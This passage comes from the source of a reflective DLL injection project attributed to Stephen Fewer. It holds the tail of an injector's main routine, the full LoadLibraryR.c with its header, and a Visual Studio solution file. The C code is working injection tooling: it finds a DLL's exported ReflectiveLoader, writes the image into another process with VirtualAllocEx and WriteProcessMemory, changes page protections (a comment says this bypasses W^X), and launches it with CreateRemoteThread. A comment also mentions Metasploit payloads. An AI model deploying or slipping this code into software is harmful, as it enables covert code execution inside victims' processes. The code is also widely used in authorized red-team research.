cpDllFile, dwProcessId ); 112 | 113 | WaitForSingleObject( hModule, (DWORD) -1 ); 114 | 115 | } while( 0 ); 116 | 117 | if (hFile) 118 | CloseHandle(hFile); 119 | 120 | if( lpBuffer ) 121 | HeapFree( GetProcessHeap(), 0, lpBuffer ); 122 | 123 | if( hProcess ) 124 | CloseHandle( hProcess ); 125 | 126 | return 0; 127 | } 128 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.c: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | #include "LoadLibraryR.h" 29 | 30 | #ifdef __MINGW32__ 31 | #define __try 32 | #define __except(x) if(0) 33 | #endif 34 | //===============================================================================================// 35 | DWORD Rva2Offset( DWORD dwRva, UINT_PTR uiBaseAddress, BOOL is64 ) 36 | { 37 | WORD wIndex = 0; 38 | PIMAGE_SECTION_HEADER pSectionHeader = NULL; 39 | PIMAGE_NT_HEADERS32 pNtHeaders32 = NULL; 40 | PIMAGE_NT_HEADERS64 pNtHeaders64 = NULL; 41 | 42 | if (is64) { 43 | pNtHeaders64 = (PIMAGE_NT_HEADERS64)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 44 | 45 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders64->OptionalHeader) + pNtHeaders64->FileHeader.SizeOfOptionalHeader); 46 | 47 | if( dwRva < pSectionHeader[0].PointerToRawData ) 48 | return dwRva; 49 | 50 | for( wIndex=0 ; wIndex < pNtHeaders64->FileHeader.NumberOfSections ; wIndex++ ) 51 | { 52 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 53 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 54 | } 55 | } 56 | else { 57 | pNtHeaders32 = (PIMAGE_NT_HEADERS32)(uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew); 58 | 59 | pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders32->OptionalHeader) + pNtHeaders32->FileHeader.SizeOfOptionalHeader); 60 | 61 | if( dwRva < pSectionHeader[0].PointerToRawData ) 62 | return dwRva; 63 | 64 | for( wIndex=0 ; wIndex < pNtHeaders32->FileHeader.NumberOfSections ; wIndex++ ) 65 | { 66 | if( dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData) ) 67 | return ( dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData ); 68 | } 69 | } 70 | 71 | return 0; 72 | } 73 | //===============================================================================================// 74 | DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName) 75 | { 76 | UINT_PTR uiBaseAddress = 0; 77 | UINT_PTR uiExportDir = 0; 78 | UINT_PTR uiNameArray = 0; 79 | UINT_PTR uiAddressArray = 0; 80 | UINT_PTR uiNameOrdinals = 0; 81 | DWORD dwCounter = 0; 82 | BOOL is64 = 0; 83 | 84 | uiBaseAddress = (UINT_PTR)lpReflectiveDllBuffer; 85 | 86 | // get the File Offset of the modules NT Header 87 | uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew; 88 | 89 | // process a PE file based on its architecture 90 | if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x010B) // PE32 91 | { 92 | is64 = FALSE; 93 | // uiNameArray = the address of the modules export directory entry 94 | uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS32)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 95 | } 96 | else if (((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.Magic == 0x020B) // PE64 97 | { 98 | is64 = TRUE; 99 | // uiNameArray = the address of the modules export directory entry 100 | uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS64)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; 101 | 102 | } 103 | else 104 | { 105 | return 0; 106 | } 107 | 108 | // get the File Offset of the export directory 109 | uiExportDir = uiBaseAddress + Rva2Offset(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, uiBaseAddress, is64); 110 | 111 | // get the File Offset for the array of name pointers 112 | uiNameArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames, uiBaseAddress, is64); 113 | 114 | // get the File Offset for the array of addresses 115 | uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress, is64); 116 | 117 | // get the File Offset for the array of name ordinals 118 | uiNameOrdinals = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals, uiBaseAddress, is64); 119 | 120 | // test if we are importing by name or by ordinal... 121 | if ((((DWORD_PTR)cpReflectiveLoaderName) >> 16) == 0) 122 | { 123 | // import by ordinal... 124 | 125 | // use the import ordinal (- export ordinal base) as an index into the array of addresses 126 | uiAddressArray += ((IMAGE_ORDINAL((DWORD)(DWORD_PTR)cpReflectiveLoaderName) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD)); 127 | 128 | // resolve the address for this imported function 129 | return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress, is64); 130 | } 131 | 132 | // import by name... 133 | // get a counter for the number of exported functions... 134 | dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->NumberOfNames; 135 | 136 | // loop through all the exported functions to find the ReflectiveLoader 137 | while (dwCounter--) 138 | { 139 | char* cpExportedFunctionName = (char*)(uiBaseAddress + Rva2Offset(DEREF_32(uiNameArray), uiBaseAddress, is64)); 140 | 141 | if (strstr(cpExportedFunctionName, cpReflectiveLoaderName) != NULL) 142 | { 143 | // get the File Offset for the array of addresses 144 | uiAddressArray = uiBaseAddress + Rva2Offset(((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions, uiBaseAddress, is64); 145 | 146 | // use the functions name ordinal as an index into the array of name pointers 147 | uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD)); 148 | 149 | // return the File Offset to the ReflectiveLoader() functions code... 150 | return Rva2Offset(DEREF_32(uiAddressArray), uiBaseAddress, is64); 151 | } 152 | // get the next exported function name 153 | uiNameArray += sizeof(DWORD); 154 | 155 | // get the next exported function name ordinal 156 | uiNameOrdinals += sizeof(WORD); 157 | } 158 | 159 | return 0; 160 | } 161 | 162 | //===============================================================================================// 163 | // Loads a DLL image from memory via its exported ReflectiveLoader function 164 | HMODULE WINAPI LoadLibraryR( LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName ) 165 | { 166 | HMODULE hResult = NULL; 167 | DWORD dwReflectiveLoaderOffset = 0; 168 | DWORD dwOldProtect1 = 0; 169 | DWORD dwOldProtect2 = 0; 170 | REFLECTIVELOADER pReflectiveLoader = NULL; 171 | DLLMAIN pDllMain = NULL; 172 | 173 | if( lpBuffer == NULL || dwLength == 0 ) 174 | return NULL; 175 | 176 | __try 177 | { 178 | // check if the library has a ReflectiveLoader... 179 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer, cpReflectiveLoaderName ); 180 | if( dwReflectiveLoaderOffset != 0 ) 181 | { 182 | pReflectiveLoader = (REFLECTIVELOADER)((UINT_PTR)lpBuffer + dwReflectiveLoaderOffset); 183 | 184 | // we must VirtualProtect the buffer to RWX so we can execute the ReflectiveLoader... 185 | // this assumes lpBuffer is the base address of the region of pages and dwLength the size of the region 186 | if( VirtualProtect( lpBuffer, dwLength, PAGE_EXECUTE_READWRITE, &dwOldProtect1 ) ) 187 | { 188 | // call the librarys ReflectiveLoader... 189 | pDllMain = (DLLMAIN)pReflectiveLoader(); 190 | if( pDllMain != NULL ) 191 | { 192 | // call the loaded librarys DllMain to get its HMODULE 193 | // Dont call DLL_METASPLOIT_ATTACH/DLL_METASPLOIT_DETACH as that is for payloads only. 194 | if( !pDllMain( NULL, DLL_QUERY_HMODULE, &hResult ) ) 195 | hResult = NULL; 196 | } 197 | // revert to the previous protection flags... 198 | VirtualProtect( lpBuffer, dwLength, dwOldProtect1, &dwOldProtect2 ); 199 | } 200 | } 201 | } 202 | __except( EXCEPTION_EXECUTE_HANDLER ) 203 | { 204 | hResult = NULL; 205 | } 206 | 207 | return hResult; 208 | } 209 | //===============================================================================================// 210 | // Loads a PE image from memory into the address space of a host process via the image's exported ReflectiveLoader function 211 | // Note: You must compile whatever you are injecting with REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR 212 | // defined in order to use the correct RDI prototypes. 213 | // Note: The hProcess handle must have these access rights: PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | 214 | // PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ 215 | // Note: If you are passing in an lpParameter value, if it is a pointer, remember it is for a different address space. 216 | // Note: This function currently cant inject accross architectures, but only to architectures which are the 217 | // same as the arch this function is compiled as, e.g. x86->x86 and x64->x64 but not x64->x86 or x86->x64. 218 | HANDLE WINAPI LoadRemoteLibraryR( HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, LPVOID lpParameter ) 219 | { 220 | LPVOID lpRemoteLibraryBuffer = NULL; 221 | LPTHREAD_START_ROUTINE lpReflectiveLoader = NULL; 222 | HANDLE hThread = NULL; 223 | DWORD dwReflectiveLoaderOffset = 0; 224 | DWORD dwThreadId = 0; 225 | DWORD dwOldProt; 226 | 227 | __try 228 | { 229 | do 230 | { 231 | if( !hProcess || !lpBuffer || !dwLength ) 232 | break; 233 | 234 | // check if the library has a ReflectiveLoader... 235 | dwReflectiveLoaderOffset = GetReflectiveLoaderOffset( lpBuffer, cpReflectiveLoaderName); 236 | if( !dwReflectiveLoaderOffset ) 237 | break; 238 | 239 | // alloc memory (RW) in the host process for the image... 240 | lpRemoteLibraryBuffer = VirtualAllocEx( hProcess, NULL, dwLength, MEM_RESERVE|MEM_COMMIT, PAGE_READWRITE ); 241 | if( !lpRemoteLibraryBuffer ) 242 | break; 243 | 244 | // write the image into the host process... 245 | if( !WriteProcessMemory( hProcess, lpRemoteLibraryBuffer, lpBuffer, dwLength, NULL ) ) 246 | break; 247 | 248 | // change the permissions to (RX) to bypass W^X protections 249 | if (!VirtualProtectEx(hProcess, lpRemoteLibraryBuffer, dwLength, PAGE_EXECUTE_READ, &dwOldProt)) 250 | break; 251 | 252 | // add the offset to ReflectiveLoader() to the remote library address... 253 | lpReflectiveLoader = (LPTHREAD_START_ROUTINE)( (ULONG_PTR)lpRemoteLibraryBuffer + dwReflectiveLoaderOffset ); 254 | 255 | // create a remote thread in the host process to call the ReflectiveLoader! 256 | hThread = CreateRemoteThread( hProcess, NULL, 1024*1024, lpReflectiveLoader, lpParameter, (DWORD_PTR)NULL, &dwThreadId ); 257 | 258 | } while( 0 ); 259 | 260 | } 261 | __except( EXCEPTION_EXECUTE_HANDLER ) 262 | { 263 | hThread = NULL; 264 | } 265 | 266 | return hThread; 267 | } 268 | //===============================================================================================// 269 | -------------------------------------------------------------------------------- /inject/src/LoadLibraryR.h: -------------------------------------------------------------------------------- 1 | //===============================================================================================// 2 | // Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com) 3 | // All rights reserved. 4 | // 5 | // Redistribution and use in source and binary forms, with or without modification, are permitted 6 | // provided that the following conditions are met: 7 | // 8 | // * Redistributions of source code must retain the above copyright notice, this list of 9 | // conditions and the following disclaimer. 10 | // 11 | // * Redistributions in binary form must reproduce the above copyright notice, this list of 12 | // conditions and the following disclaimer in the documentation and/or other materials provided 13 | // with the distribution. 14 | // 15 | // * Neither the name of Harmony Security nor the names of its contributors may be used to 16 | // endorse or promote products derived from this software without specific prior written permission. 17 | // 18 | // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR 19 | // IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND 20 | // FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR 21 | // CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR 22 | // CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR 23 | // SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 24 | // THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR 25 | // OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE 26 | // POSSIBILITY OF SUCH DAMAGE. 27 | //===============================================================================================// 28 | 29 | // C5045 warning was introduced in Visual Studio 2017 version 15.7 30 | // See https://devblogs.microsoft.com/cppblog/spectre-mitigations-in-msvc/ 31 | // See https://learn.microsoft.com/en-us/cpp/preprocessor/predefined-macros?view=msvc-170 32 | #if _MSC_VER >= 1914 33 | #pragma warning(disable: 5045) // warning C5045: Compiler will insert Spectre mitigation for memory load if /Qspectre switch specified 34 | #endif 35 | #pragma warning(disable: 4820) // warning C4820: X bytes padding added after construct Y 36 | #pragma warning(disable: 4710) // warning C4710: The specified function was marked for inline expansion, but the compiler didn't inline the function. 37 | 38 | #ifndef _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 39 | #define _REFLECTIVEDLLINJECTION_LOADLIBRARYR_H 40 | //===============================================================================================// 41 | #include "ReflectiveDLLInjection.h" 42 | 43 | DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer, LPCSTR cpReflectiveLoaderName); 44 | HMODULE WINAPI LoadLibraryR(LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName); 45 | HANDLE WINAPI LoadRemoteLibraryR(HANDLE hProcess, LPVOID lpBuffer, DWORD dwLength, LPCSTR cpReflectiveLoaderName, LPVOID lpParameter); 46 | 47 | //===============================================================================================// 48 | #endif 49 | //===============================================================================================// 50 | -------------------------------------------------------------------------------- /rdi.sln: -------------------------------------------------------------------------------- 1 |  2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio Version 16 4 | VisualStudioVersion = 16.0.33801.447 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "inject", "inject\inject.vcxproj", "{EEF3FD41-05D8-4A07-8434-EF5D34D76335}" 7 | EndProject 8 | Project("{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}") = "reflective_dll", "dll\reflective_dll.vcxproj", "{3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}" 9 | EndProject 10 | Global 11 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 12 | Debug|ARM = Debug|ARM 13 | Debug|Win32 = Debug|Win32 14 | Debug|x64 = Debug|x64 15 | Release|ARM = Release|ARM 16 | Release|Win32 = Release|Win32 17 | Release|x64 = Release|x64 18 | EndGlobalSection 19 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 20 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.ActiveCfg = Release|ARM 21 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|ARM.Build.0 = Release|ARM 22 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.ActiveCfg = Debug|Win32 23 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|Win32.Build.0 = Debug|Win32 24 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.ActiveCfg = Debug|x64 25 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Debug|x64.Build.0 = Debug|x64 26 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.ActiveCfg = Release|ARM 27 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|ARM.Build.0 = Release|ARM 28 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.ActiveCfg = Release|Win32 29 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|Win32.Build.0 = Release|Win32 30 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.ActiveCfg = Release|x64 31 | {EEF3FD41-05D8-4A07-8434-EF5D34D76335}.Release|x64.Build.0 = Release|x64 32 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.ActiveCfg = Release|ARM 33 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|ARM.Build.0 = Release|ARM 34 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.ActiveCfg = Debug|Win32 35 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|Win32.Build.0 = Debug|Win32 36 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.ActiveCfg = Debug|x64 37 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Debug|x64.Build.0 = Debug|x64 38 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.ActiveCfg = Release|ARM 39 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|ARM.Build.0 = Release|ARM 40 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.ActiveCfg = Release|Win32 41 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|Win32.Build.0 = Release|Win32 42 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.ActiveCfg = Release|x64 43 | {3A371EBD-EEE1-4B2A-88B9-93E7BABE0949}.Release|x64.Build.0 = Release|x64 44 | EndGlobalSection 45 | GlobalSection(SolutionProperties) = preSolution 46 | HideSolutionNode = FALSE 47 | EndGlobalSection 48 | GlobalSection(ExtensibilityGlobals) = postSolution 49 | SolutionGuid = {5265CA34-E94B-4334-83FF-E0480ACA020F} 50 | EndGlobalSection 51 | EndGlobal 52 | --------------------------------------------------------------------------------